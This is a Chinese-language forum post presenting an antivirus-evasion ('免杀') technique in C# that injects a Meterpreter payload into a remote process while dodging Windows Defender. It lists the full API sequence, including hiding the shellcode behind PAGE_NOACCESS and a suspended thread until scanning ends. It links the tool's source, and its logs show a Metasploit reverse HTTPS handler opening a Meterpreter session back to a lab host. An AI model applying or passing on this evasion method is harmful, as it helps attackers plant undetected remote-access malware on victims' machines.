吉沃运营专员 发表于 2021-10-13 10:33:20

[免杀工具] 另一种使用 C# 的 Meterpreter 注入技术

一、挂起线程注入

另一种使用 C# 的 Meterpreter 注入技术,试图绕过 Defender。

工具源代码:https://github.com/plackyhacker/SuspendedThreadInjection

二、介绍

此代码是在阅读 F-Secure Labs 的 Bypassing Windows Defender Runtime Scanning 后编写的。此代码与它有点不同,但它让我思考如何将 Meterpreter 注入远程进程并在 Defender 下进行。

该技术非常简单:


[*]使用 OpenProcess 打开远程进程
[*]解密内存中的 Meterpreter Payload
[*]使用 VirtualAllocEx 在远程进程中分配一些内存,确保分配正确的权限来写入内存
[*]使用 WriteProcessMemory 将 Payload 写入到分配的内存中
[*]使用 VirtualProtectEx 保护内存,将保护设置为 PAGE_NOACCESS
[*]使用 CreateRemoteThread 创建一个新的挂起线程
[*]在 Defender 扫描远程进程内存以查找恶意代码时休眠 10 秒
[*]使用 VirtualProtectEx 更改对内存的保护,将保护设置为 PAGE_EXECUTE_READ_WRITE
[*]使用 ResumeThread 恢复远程线程

看起来,使用 PAGE_NOACCESS 包含 Meterpreter shellcode 来保护页面似乎没有被 Defender 扫描,也没有被检测到。通过在创建时挂起线程,可以将 shellcode“保存”在内存中,直到 Defender 完成对它的扫描,然后在 Defender 完成时执行 shellcode。

三、重要

请记住,该代码查找要注入的记事本实例,更改它是微不足道的,甚至可以生成要注入的代理进程。

四、例子

代码的执行如下所示:

[+] OpenProcess with PID 49416.
[+] VirtualAllocEx (PAGE_EXECUTE_READ_WRITE) on 0x2C4.
[+] WriteProcessMemory to 0x247A8CE0000.
[+] VirtualProtectEx (PAGE_NOACCESS) on 0x247A8CE0000.
[+] CreateRemoteThread (suspended) to 0x247A8CE0000.
[+] Sleeping whilst Defender scans the remote process.
[+] VirtualProtectEx (PAGE_EXECUTE_READ_WRITE) on 0x247A8CE0000.
[+] Resume thread 0x368.
meterpreter shell:

msf6 exploit(multi/handler) >
Started HTTPS reverse handler on https[:]//192.168.1.228:443
https[:]//192.168.1.228:443 handling request from 192.168.1.142; (UUID: lsezjczd) Staging x64 payload (201308 bytes) ...
Meterpreter session 1 opened (192.168.1.228:443 -> 192.168.1.142:60433) at 2021-10-07 08:32:00 +0100

五、AV 扫描结果

二进制文件是在 2021 年 7 月 10 日使用 antiscan.me 扫描:



六、额外说明

在 Windows 10 Pro(内部版本 10.0.19042)上使用 windows/x64/meterpreter/reverse_https 及 Defender 进行测试。

页: [1]
查看完整版本: [免杀工具] 另一种使用 C# 的 Meterpreter 注入技术